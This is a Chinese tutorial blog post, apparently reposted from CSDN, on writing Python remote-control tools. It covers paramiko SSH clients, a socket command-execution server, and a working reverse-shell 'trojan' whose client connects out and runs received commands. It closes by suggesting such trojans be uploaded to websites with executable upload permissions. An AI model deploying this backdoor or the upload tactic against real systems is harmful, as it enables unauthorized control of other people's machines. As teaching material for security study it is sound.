用python编写远程控制程序

1.前言

        远程控制是网络安全的一个极为重要的内容,无论是网络安全的维护者还是破坏者都会对此进行研究。维护者的目标是保证远程控制的安全,而破坏者的目标是希望能够凭借各种手段实现对目标设备的远程控制。

        本文主要研究三个内容。

1.如何编写一个基于SSH的远程控制程序。

2.如何编写一个socket实现的远程控制程序的服务端和客户端。

3.如何编写一个socket实现的反向的远程控制程序(木马)。

2.远程控制程序

2.1 基于SSH的远程控制程序

        实现SSH需要服务端和客户端软件协同工作,其中服务端软件以一个守护进程的方式运行在被控制设备上,它在后台运行并响应来自客户端的请求。当网络管理人员试图使用客户端软件连接到服务端的时候,首先需要通过服务端的安全认证,SSH中提供两种级别的安全认证。

1.基于口令的安全认证

传统的“账号+密码”方式。

2.基于秘钥的安全认证

        使用一对公私秘钥。其中服务端和客户端都要使用公钥,而私钥由客户端单独保存。当客户端试图连接服务端时,首先要向服务端提供公钥;当服务端收到请求之后,会对公钥进行验证,如果和自己保存的一致,就会用公钥加密一个“challenge”,并把它发送给客户端;客户端收到“challenge”后会使用自己的私钥对其进行解密再将其发送给服务器端完成认证。整个过程需要进行加密解密,花费的时间要多于基于口令的认证机制。

使用paramiko实现基于口令登录的客户端控制程序。

2.1.1 安装paramiko

使用pip安装paramiko的命令是

pip3 install paramiko

安装时反复遇到

C:\Users\zhangyy>pip3 install paramiko
Collecting paramiko
  Using cached paramiko-2.12.0-py2.py3-none-any.whl (213 kB)
Collecting cryptography>=2.5
  Downloading cryptography-38.0.4-cp36-abi3-win_amd64.whl (2.4 MB)
     ━━━━━━━━━━━━━━━╺━━━━━━━━━━━━━━━━━━━━━━━━ 0.9/2.4 MB 13.2 kB/s eta 0:01:53
ERROR: Exception:

错误的话,可以先安装出错的cryptography模块

C:\Users\zhangyy>pip install cryptography
Collecting cryptography
  Downloading cryptography-38.0.4-cp36-abi3-win_amd64.whl (2.4 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.4/2.4 MB 34.7 kB/s eta 0:00:00
Collecting cffi>=1.12
  Downloading cffi-1.15.1-cp39-cp39-win_amd64.whl (179 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 179.1/179.1 kB 24.0 kB/s eta 0:00:00
Collecting pycparser
  Downloading pycparser-2.21-py2.py3-none-any.whl (118 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 118.7/118.7 kB 23.9 kB/s eta 0:00:00
Installing collected packages: pycparser, cffi, cryptography
Successfully installed cffi-1.15.1 cryptography-38.0.4 pycparser-2.21

之后才安装成功

C:\Users\zhangyy>pip3 install paramiko
Collecting paramiko
  Using cached paramiko-2.12.0-py2.py3-none-any.whl (213 kB)
Collecting pynacl>=1.0.1
  Using cached PyNaCl-1.5.0-cp36-abi3-win_amd64.whl (212 kB)
Requirement already satisfied: cryptography>=2.5 in d:\users\zhangyy\appdata\local\programs\python\python39\lib\site-packages (from paramiko) (38.0.4)
Collecting six
  Using cached six-1.16.0-py2.py3-none-any.whl (11 kB)
Collecting bcrypt>=3.1.3
  Using cached bcrypt-4.0.1-cp36-abi3-win_amd64.whl (152 kB)
Requirement already satisfied: cffi>=1.12 in d:\users\zhangyy\appdata\local\programs\python\python39\lib\site-packages (from cryptography>=2.5->paramiko) (1.15.1)
Requirement already satisfied: pycparser in d:\users\zhangyy\appdata\local\programs\python\python39\lib\site-packages (from cffi>=1.12->cryptography>=2.5->paramiko) (2.21)
Installing collected packages: six, bcrypt, pynacl, paramiko
Successfully installed bcrypt-4.0.1 paramiko-2.12.0 pynacl-1.5.0 six-1.16.0

2.1.2 基于口令登录的客户端控制程序

配置kali-linux的IP地址(仅仅测试用,所以用命令配置的是临时IP):

┌──(root㉿kali)-[/home/kali]
└─# ifconfig eth0 192.168.1.11 netmask 255.255.255.0
                                                                                                                                                                                 
┌──(root㉿kali)-[/home/kali]
└─# ifconfig                                       
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.11  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::7824:f37c:14bf:b43f  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:22:46:4f  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 590 (590.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 27  bytes 3344 (3.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 240 (240.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 240 (240.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

检查服务端SSH状态:

┌──(root㉿kali)-[/home/kali]
└─# /etc/init.d/ssh status
○ ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: disabled)
     Active: inactive (dead)
       Docs: man:sshd(8)
             man:sshd_config(5)

发现ssh服务处于disabled状态。

修改 /etc/ssh/sshd_config 文件的密码配置行,如下:

┌──(root㉿kali)-[/home/kali]
└─# cat /etc/ssh/sshd_config | grep PasswordAuthentication
PasswordAuthentication yes

添加

Port 22
ListenAddress 192.168.1.11
PermitRootLogin yes

启动SSH服务:

┌──(root㉿kali)-[/home/kali]
└─# /etc/init.d/ssh start                                 
Starting ssh (via systemctl): ssh.service.

客户端代码:

import paramiko

# 创建SSH对象
client = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
client.connect('192.168.1.11', 22, 'kali', 'kali')
stdin, stdout, stderr = client.exec_command('whoami')
# 获取命令结果
print(stdout.read())

执行结果

┌──(zyy㉿kali)-[~/pythontest]
└─$ python sshtest.py                                                                                                                                                            
b'kali\n'

此时网络连接信息

┌──(zyy㉿kali)-[~/pythontest]
└─$ netstat -an | grep 192.168.1.11                                                                                                                                              
tcp        0      0 192.168.1.11:22         0.0.0.0:*               LISTEN     
tcp        0      0 192.168.1.11:59792      192.168.1.11:22         TIME_WAIT 

2.1.3基于秘钥登录的客户端控制程序

要实现秘钥登录,首先要生成密钥对,密钥对可以在kali-Linux里生成。

┌──(root㉿kali)-[/home/kali]
└─# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:eNP6a7mVBhR8qbUJ4WpNMlDWS8Ue+NsFddmwggexUE0 root@kali
The key's randomart image is:
+---[RSA 3072]----+
|      ..++*OE..o=|
|       o o*=B .oo|
|        o.*Oo+.. |
|       . Oo.=.  .|
|      . S +  o . |
|       o o ....  |
|        .  .+    |
|         .oo     |
|         .+o     |
+----[SHA256]-----+

┌──(root㉿kali)-[/home/kali]
└─# cd ../../root/.ssh
                                                                                                                                                                                 
┌──(root㉿kali)-[~/.ssh]
└─# ls
id_rsa  id_rsa.pub  known_hosts  known_hosts.old

不难看出,公钥存放在id_rsa.pub,私钥存放在id_rsa里。

把本机公钥添加到服务器文件~/.ssh/authorized_keys末尾,如果没有该文件,就使用touch创建一个。

┌──(root㉿kali)-[~]
└─# touch ~/.ssh/authorized_keys
                                                                                                                                                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/]
└─# cd ~/.ssh                
                                                                                                                                                                                 
┌──(root㉿kali)-[~/.ssh]
└─# ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts  known_hosts.old
                                                                                                                                                                                 
┌──(root㉿kali)-[~/.ssh]
└─# cat id_rsa.pub > authorized_keys

私钥的目录在 /root/.ssh/id_rsa,我们可以把私钥拷贝到任何地方(我是拷贝到/home/zyy/pythontest/.ssh/id_rsa),然后执行以下python代码完成SSH登录:

                                                                                                                                                             #!/usr/bin/env python3
import paramiko

key = paramiko.RSAKey.from_private_key_file("/home/zyy/pythontest/.ssh/id_rsa")
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
print("connecting")
ssh.connect(hostname="192.168.1.11", username="root", pkey=key)
print("connected")
commands = "uname -a"
stdin, stdout, stderr = ssh.exec_command(commands)
stdin.close()
res, err = stdout.read(), stderr.read()
result = res if res else err
print(result)
ssh.close()

执行结果:

┌──(zyy㉿kali)-[~/pythontest]
└─$ python sshtest1.py                                                                                                                                                           
connecting
connected
b'Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64 GNU/Linux\n'

从执行打印看,执行成功。

2.2 编写一个socket实现的远程控制程序的服务端和客户端

socket是网络编程的基本知识。我们希望在客户端得到一个持续控制的命令行,需要再客户端和服务端各自加入一个循环,这样一来程序中出现了循环的嵌套,变得十分复杂。一个好的方法是使用一个专门用来处理网络通信的模块socketserver。socketserver模块是标准库中的一个高级模块,它可以简化客户端跟服务端的程序。

创建和使用socketserver模块的流程如下:

1. 创建一个请求处理的类,这个类要继承BaseRequestHandler类,并且要重写父类里的handle()方法。

2.使用IP地址、端口和第一步创建的类来实例化TCPServer。

3.使用server.server_forever()函数处理多个请求,持续循环运行。

4. 关闭连接server_close()函数。

使用socketserver模块编写服务端程序如下:

import socketserver
import subprocess


class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        try:
            while True:
                self.data = self.request.recv(1024)
                print(self.data)
                print("{} send:".format(self.client_address), self.data)
                command = self.data.decode()
                command = command.rstrip()
                child = subprocess.run(command, shell=True)
                if not self.data:
                    print("connection lost")
                    break
                self.request.sendall(self.data.uppper())
        except Exception as e:
            print(self.client_address, "连接断开")
        finally:
            self.request.close()

    def setup(self):
        print("before handle,连接建立:", self.client_address)

    def finish(self):
        print("finish run  after handle")


if __name__ == "__main__":
    HOST, PORT = "localhost", 9998
    server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)
    server.serve_forever()

使用socketserver模块编写客户端程序如下:

import socket

client = socket.socket()
client.connect(('localhost', 9998))
while True:
    cmd = input("(quit退出>>").strip()
    if len(cmd) == 0:
        continue
    if cmd == "quit":
        break
    client.send(cmd.encode())
    cmd_res = client.recv(1024)
    print(cmd_res.decode())
client.close()

自测结果:

客户端可以多次发送请求,服务端也能同时处理多个连接。即使某个连接报错了,服务端也会持续运行,与其他客户通信。

2.3编写一个socket实现的反向的远程控制程序(木马)

木马是黑客喜欢的攻击手段。木马同时需要服务端和客户端,服务端一般会在拥有者不知情的情况下载设备上运行。对于一个木马来说,至少需要具备以下两个功能:

1.服务端能够对设备进行控制

2.客户端能够向服务端传达命令

逆向木马主控端

import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        try:
            while True:
                self.data=self.request.recv(1024)
                #print("{} send:".format(self.client_address),self.data)
                cmd = input("(quit退出>>").strip()
                if len(cmd) == 0:
                    continue
                if cmd == "quit":
                    break
                if not self.data:
                    print("connection lost")
                    break
                self.request.sendall(cmd.encode())
        except Exception as e:
            print(self.client_address,"连接断开")
        finally:
            self.request.close()
    def setup(self):
        print("before handle,连接建立:",self.client_address)
    def finish(self):
        print("finish run  after handle")
if __name__=="__main__":
    HOST,PORT = "localhost",9999
    server=socketserver.TCPServer((HOST,PORT),MyTCPHandler)
    server.serve_forever()

逆向木马被控端

import subprocess
import socket
def run_command(command):
    command = command.rstrip()
    print(command)
    try:
        child = subprocess.run(command, shell=True)
    except:
        child = 'Can not execute the command.\r\n'
    return child
client = socket.socket()
client.connect(('localhost', 9999))
while True:
    Message = "welcome"
    client.send(Message.encode())
    data = client.recv(1024)
    print(data.decode())
    output = run_command(data.decode())
client.close()

依次执行逆向木马主控端,逆向木马被控端,可以看到两者成功建立连接,然后在 逆向木马主控端的执行窗口中输入

C:\Users\zhangyy\PycharmProjects\SSHtest\venv\Scripts\python.exe C:\Users\zhangyy\PycharmProjects\SSHtest\mainserver.py 
before handle,连接建立: ('127.0.0.1', 59637)
(quit退出>>dir

可以看到逆向木马被控端 的执行窗口输出了执行结果

C:\Users\zhangyy\PycharmProjects\SSHtest\venv\Scripts\python.exe C:\Users\zhangyy\PycharmProjects\SSHtest\mainclient.py 
dir
dir
 ������ C �еľ��� Windows
 �������� CED9-5EA5

 C:\Users\zhangyy\PycharmProjects\SSHtest ��Ŀ¼

2022/12/03  21:02    <DIR>          .
2022/12/02  20:25    <DIR>          ..
2022/12/03  20:59    <DIR>          .idea
2022/12/03  19:31               496 main.py
2022/12/03  21:02               516 mainclient.py
2022/12/03  21:02             1,072 mainserver.py
2022/12/02  20:25    <DIR>          venv
               3 ���ļ�          2,084 �ֽ�
               4 ��Ŀ¼ 66,789,502,976 �����ֽ�

3. 总结

        远程控制是网络安全的一个极为重要的内容, 之前在渗透测试的过程中,多次发现某些网站上传文件具有可执行权限,在这种情况下,可以尝试上传反向连接的木马,可以起到“远程代码执行”的效果。

附:

PHP小马、大马也是非常常见的用于反向连接的木马

PHP小马,大马实现分析编写_OceanSec的博客-CSDN博客_php大马怎么写

猜你喜欢

转载自blog.csdn.net/qq_33163046/article/details/128153815